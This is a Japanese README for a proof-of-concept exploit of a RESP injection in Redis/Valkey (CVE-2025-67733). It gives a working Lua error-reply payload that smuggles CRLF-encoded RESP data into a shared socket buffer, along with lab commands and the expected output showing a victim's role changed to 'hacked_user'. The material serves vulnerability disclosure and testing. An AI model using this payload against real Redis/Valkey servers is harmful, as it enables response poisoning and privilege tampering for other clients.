
Redis/Valkey RESP インジェクション PoC (CVE-2025-67733)
| メソッド | エンドポイント | 説明 |
|---|
| POST | /api/user/role | ユーザーロールを設定 |
| GET | /api/user/role | ユーザーロールを取得 |
| POST | /api/process | Lua スクリプトを実行 |
使用方法:
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
Lua スクリプトのエラーメッセージを介して、悪意のある RESP データをソケットバッファに注入します。
ペイロード:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
使用方法:
python attacker_client.py
ユーザーロールを設定・取得する正規のクライアント。
使用方法:
python victim_client.py set # Set role to "normal_user"
python victim_client.py get # Get current role
pip install flask requests
端末 1 - バックエンドを起動:
python backend.py 127.0.0.1 6379
端末 2 - ロールを設定:
python victim_client.py set
# Output: 'role':'normal_user' has been set.
python victim_client.py get
# Output: 'role':'normal_user'
端末 3 - 攻撃:
python attacker_client.py
# Output: Socket poisoning successful
端末 2 - ロールを取得(攻撃後):
python victim_client.py get
# Output: 'role':'hacked_user'
1. Victim sets role
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. Attacker injects payload
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
Backend reads: "-ERR INJECTED\r\n"
Buffer remains: "$11\r\nhacked_user"
3. Victim gets role
victim_client.py get --> backend --> Valkey
GET user:user:role
Backend reads from buffer: "$11\r\nhacked_user"
Victim receives: "hacked_user"